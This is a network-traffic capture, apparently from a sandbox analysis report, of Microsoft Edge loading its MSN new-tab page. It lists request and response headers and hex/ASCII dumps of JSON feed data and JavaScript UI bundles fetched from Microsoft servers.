2024-04-23 21:02:21 UTC	1021	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=09C025F5A71D6FE2180F319FA60A6E8D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=8684241135348538038&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=9f1acaf966844b9dbc23515752f37c75 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00
2024-04-23 21:02:21 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2695 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132671-T700343875-C128000000002116289+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116289+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close
2024-04-23 21:02:21 UTC	2695	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 53 65 72 65 6e 67 65 74 69 20 4e 50 2c 20 54 61 6e 7a 61 6e 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 65 72 65 6e 67 65 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Serengeti NP, Tanzania\",\"cta\":\"https:\/\/www.bing.com\/search?q=Serenget

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49832	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	638	OUT	GET /bundles/v1/edgeChromium/latest/scroll-down-button.7d3c287bfff87e892176.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:22 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: KdAcTeZ+Gy0WTW5mykulOg== Last-Modified: Tue, 23 Apr 2024 19:32:44 GMT ETag: 0x8DC63CC267CAF99 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3ae5f402-401e-008f-37b5-95b4f4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Length: 11027 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746078,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016ade Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016ade Vary: Origin
2024-04-23 21:02:22 UTC	11027	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 63 72 6f 6c 6c 2d 64 6f 77 6e 2d 62 75 74 74 6f 6e 22 5d 2c 7b 31 36 39 35 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6f 29 7b 6f 2e 72 28 65 29 2c 6f 2e 64 28 65 2c 7b 53 63 72 6f 6c 6c 44 6f 77 6e 42 75 74 74 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 2c 53 63 72 6f 6c 6c 44 6f 77 6e 42 75 74 74 6f 6e 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 7d 2c Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["scroll-down-button"],{16954:function(t,e,o){o.r(e),o.d(e,{ScrollDownButton:function(){return c},ScrollDownButtonStyles:function(){return E},

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49833	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	1497	OUT	GET /service/news/feed/pages/ntp?User=m-09C025F5A71D6FE2180F319FA60A6E8D&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&adsTimeout=600&apikey=0QfOX3Vn51YCzitbLaRkTTBadtWpgTN8NZLW0C1SEM&audienceMode=adult&backgroundImageIsSet=false&cm=en-us&column=c3&cookieWallPresent=false&disablecontent=true&infopaneCount=17&it=app&memory=8&mobile=false&newsSkip=0&newsTop=48&ocid=anaheim-ntp-feeds&pgc=547&scn=APP_ANON&timeOut=1000&vpSize=1232x876&wposchema=byregion HTTP/1.1 Host: assets.msn.com Connection: keep-alive ads-referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" OneSvc-Uni-Feat-Tun: EdgeInterestTier1Ids:null;LoginState:NA;Product:anaheim;PageName:default;PageType:dhp;OCID:msedgdhp;ViewPortWidth:1280;ViewPortHeight:984; sec-ch-ua-mobile: ?0 taboola-sessionId: init User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
2024-04-23 21:02:22 UTC	3417	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid x-wpo-activityId: 662821DE-4608-4B13-A206-9BB1336AD5B7\|2024-04-23T21:02:22.2528570Z\|fabric_wpo\|ESU\|WPO_12 DDD-ActivityId: 662821de-4608-4b13-a206-9bb1336ad5b7 DDD-StrategyExecutionLatency: 00:00:00.0283080 DDD-DebugId: 662821de-4608-4b13-a206-9bb1336ad5b7\|2024-04-23T21:02:22.2608289Z\|fabric_msn\|ESU\|News_500 DDD-Auth-Features: MuidStateOrigin:MuidFromCookie OneWebServiceLatency: 30 X-MSEdge-ResponseInfo: 30 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821de46084b13a2069bb1336ad5b7\|AFD:662821de46084b13a2069bb1336ad5b7\|2024-04-23T21:02:22.219Z X-MSEdge-Ref: Ref A: 061A15E6F03641089FE9CFBAEB931194 Ref B: BL2EDGE1817 Ref C: 2024-04-23T21:02:22Z Expires: Tue, 23 Apr 2024 21:02:22 GMT Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Length: 2761 Connection: close Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponly Akamai-Request-BC: [a=23.11.231.159,b=402746185,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o] Server-Timing: clientrtt; dur=106, clienttt; dur=76, origin; dur=75 , cdntime; dur=1 Akamai-Cache-Status: NotCacheable from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016b49 Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: private, max-age=0 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016b49 Vary: Origin
2024-04-23 21:02:22 UTC	2761	IN	Data Raw: 7b 22 73 65 63 74 69 6f 6e 73 22 3a 5b 5d 2c 22 73 65 72 76 69 63 65 43 6f 6e 74 65 78 74 22 3a 7b 22 66 64 48 65 61 64 22 3a 22 31 73 2d 61 61 64 70 31 64 79 6e 61 73 69 7a 65 2c 31 73 2d 62 6c 69 73 2d 66 6f 6c 6c 6f 77 6c 6f 63 2c 31 73 2d 64 65 66 61 75 6c 74 73 63 6e 2c 31 73 2d 64 65 66 61 75 6c 74 73 63 6e 77 2c 31 73 2d 66 63 72 79 70 74 2c 31 73 2d 6e 6f 74 69 66 6d 61 70 70 69 6e 67 2c 31 73 2d 6e 74 66 32 2d 65 78 64 72 2c 31 73 2d 6e 74 66 32 2d 65 78 64 72 63 2c 31 73 2d 6e 74 66 32 2d 6d 61 72 66 35 2c 31 73 2d 70 31 2d 63 67 74 61 62 2d 72 31 68 70 2c 31 73 2d 70 32 2d 70 72 6f 6d 6f 74 65 64 6f 6e 64 6d 64 2c 31 73 2d 70 72 65 61 6c 67 6f 38 35 35 2c 31 73 2d 72 70 73 73 65 63 61 75 74 68 74 2c 31 73 2d 73 65 72 76 69 63 65 74 65 6c 65 6d Data Ascii: {"sections":[],"serviceContext":{"fdHead":"1s-aadp1dynasize,1s-blis-followloc,1s-defaultscn,1s-defaultscnw,1s-fcrypt,1s-notifmapping,1s-ntf2-exdr,1s-ntf2-exdrc,1s-ntf2-marf5,1s-p1-cgtab-r1hp,1s-p2-promotedondmd,1s-prealgo855,1s-rpssecautht,1s-servicetelem

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49834	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	641	OUT	GET /bundles/v1/edgeChromium/latest/float-button-group-wc.1fbacdb76725a2a98312.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:22 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: vZwP/NXqgCEcOPvMur7gvQ== Last-Modified: Fri, 19 Apr 2024 19:35:52 GMT ETag: 0x8DC60A7EC538964 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 847e5fc5-801e-0103-0f90-924864000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Length: 16161 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746187,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016b4b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016b4b Vary: Origin
2024-04-23 21:02:22 UTC	15230	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 66 6c 6f 61 74 2d 62 75 74 74 6f 6e 2d 67 72 6f 75 70 2d 77 63 22 5d 2c 7b 35 34 31 35 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6f 2e 72 28 74 29 2c 6f 2e 64 28 74 2c 7b 46 6c 6f 61 74 42 75 74 74 6f 6e 47 72 6f 75 70 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 7d 2c 46 6c 6f 61 74 42 75 74 74 6f 6e 47 72 6f 75 70 57 43 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["float-button-group-wc"],{54156:function(e,t,o){"use strict";o.r(t),o.d(t,{FloatButtonGroupWC:function(){return k},FloatButtonGroupWCStyles:function(){ret
2024-04-23 21:02:22 UTC	931	IN	Data Raw: 22 72 65 6e 64 65 72 52 65 61 64 79 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 67 2e 4c 4f 5d 2c 43 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6c 6f 61 64 44 69 61 6c 6f 67 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 67 2e 4c 4f 5d 2c 43 2e 70 72 6f 74 6f 74 79 70 65 2c 22 64 69 73 70 6c 61 79 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 67 2e 4c 4f 5d 2c 43 2e 70 72 6f 74 6f 74 79 70 65 2c 22 61 70 70 54 79 70 65 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 67 2e 4c 4f 5d 2c 43 2e 70 72 6f 74 6f 74 79 70 65 2c 22 72 65 76 65 72 73 65 54 65 78 74 4f 72 64 65 72 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 67 2e 4c 4f 5d 2c 43 2e 70 72 6f 74 6f 74 79 70 65 2c 22 68 6f 6f 6b 41 50 49 22 Data Ascii: "renderReady",void 0),(0,n.gn)([g.LO],C.prototype,"loadDialog",void 0),(0,n.gn)([g.LO],C.prototype,"display",void 0),(0,n.gn)([g.LO],C.prototype,"appType",void 0),(0,n.gn)([g.LO],C.prototype,"reverseTextOrder",void 0),(0,n.gn)([g.LO],C.prototype,"hookAPI"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49835	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	633	OUT	GET /bundles/v1/edgeChromium/latest/common-others.d5ad841de853beaad9e8.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:22 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: shCS4xaTNUhucaBZ874Gaw== Last-Modified: Tue, 23 Apr 2024 19:32:47 GMT ETag: 0x8DC63CC27BFAAB2 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 72d7a2c3-a01e-00d5-66b5-95d9d2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402746228,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016b74 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016b74 Vary: Origin
2024-04-23 21:02:22 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 2d 6f 74 68 65 72 73 22 5d 2c 7b 34 30 32 31 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 2e 64 28 65 2c 7b 5f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 2c 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 7d 29 3b 76 61 72 20 69 3d 61 28 37 35 31 32 30 29 2c 6e 3d 61 28 32 33 35 34 39 29 3b 6c 65 74 20 6f 2c 72 3b 63 6f Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common-others"],{40215:function(t,e,a){"use strict";a.d(e,{_:function(){return l},k:function(){return s}});var i=a(75120),n=a(23549);let o,r;co
2024-04-23 21:02:22 UTC	9395	IN	Data Raw: 6e 49 6e 74 65 72 65 73 74 4f 70 74 69 6f 6e 43 6c 69 63 6b 28 65 2e 70 61 72 65 6e 74 29 2c 74 2e 6f 6e 43 6c 69 63 6b 26 26 74 2e 6f 6e 43 6c 69 63 6b 28 29 7d 7d 22 3e 3c 69 6d 67 20 63 6c 61 73 73 3d 22 24 7b 74 3d 3e 74 2e 64 61 72 6b 4d 6f 64 65 49 6d 61 67 65 3f 22 22 3a 22 61 64 64 6f 6e 2d 69 63 6f 6e 22 7d 22 20 73 72 63 3d 22 24 7b 74 3d 3e 74 2e 69 6d 61 67 65 7d 22 20 61 6c 74 3d 22 24 7b 74 3d 3e 74 2e 6c 61 62 65 6c 7d 22 20 2f 3e 3c 2f 62 75 74 74 6f 6e 3e 60 2c 45 3d 43 2e 64 79 60 20 24 7b 28 30 2c 6b 2e 67 29 28 28 74 3d 3e 76 6f 69 64 20 30 21 3d 3d 74 2e 61 63 74 69 6f 6e 42 75 74 74 6f 6e 29 2c 43 2e 64 79 60 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6c 6c 6f 77 2d 69 6e 74 65 72 65 73 74 22 20 73 6c 6f 74 3d 22 69 6e 64 69 63 61 Data Ascii: nInterestOptionClick(e.parent),t.onClick&&t.onClick()}}"><img class="${t=>t.darkModeImage?"":"addon-icon"}" src="${t=>t.image}" alt="${t=>t.label}" /></button>`,E=C.dy` ${(0,k.g)((t=>void 0!==t.actionButton),C.dy`<span class="follow-interest" slot="indica
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2d 2d 73 75 70 65 72 2d 6c 69 73 74 2d 68 65 61 64 69 6e 67 2d 6d 61 78 2d 68 65 69 67 68 74 2c 34 30 70 78 29 7d 2e 61 72 74 69 63 6c 65 49 6d 61 67 65 43 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 2e 61 72 74 69 63 6c 65 49 6d 61 67 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 73 75 70 65 72 2d 6c 69 73 74 2d 69 6d 61 67 65 2d 73 69 7a 65 2c 35 36 70 78 29 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 73 75 70 65 72 2d 6c 69 73 74 2d 69 6d 61 67 65 2d 73 69 7a 65 2c 35 36 70 78 29 7d 2e 61 72 74 69 63 6c 65 43 6f 6e 74 65 6e 74 2e 6f 6e 65 49 74 65 6d 4c 69 73 74 7b 2d 2d 73 75 70 65 72 2d 6c 69 73 74 2d 70 61 64 64 69 6e 67 3a 36 70 78 20 31 36 70 78 20 Data Ascii: 00006000--super-list-heading-max-height,40px)}.articleImageContainer{display:flex}.articleImage{border-radius:8px;height:var(--super-list-image-size,56px);width:var(--super-list-image-size,56px)}.articleContent.oneItemList{--super-list-padding:6px 16px
2024-04-23 21:02:22 UTC	8204	IN	Data Raw: 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6f 6e 74 2d 73 69 7a 65 3a 24 7b 6b 2e 63 7d 3b 67 61 70 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 24 7b 6b 2e 52 7d 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 73 65 65 6d 6f 72 65 2d 6c 69 6e 6b 3a 68 6f 76 65 72 2c 63 73 2d 63 61 72 64 2e 73 65 65 4d 6f 72 65 43 61 72 64 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 63 61 72 6f 75 73 65 6c 43 61 72 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 37 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 77 69 64 74 68 3a 32 34 30 70 78 7d 2e 61 72 74 Data Ascii: :currentColor;flex-direction:column;font-size:${k.c};gap:14px;line-height:${k.R};text-decoration:none}.seemore-link:hover,cs-card.seeMoreCard:hover{text-decoration:underline}.carouselCard{background:rgba(255,255,255,0.7);border-radius:8px;width:240px}.art
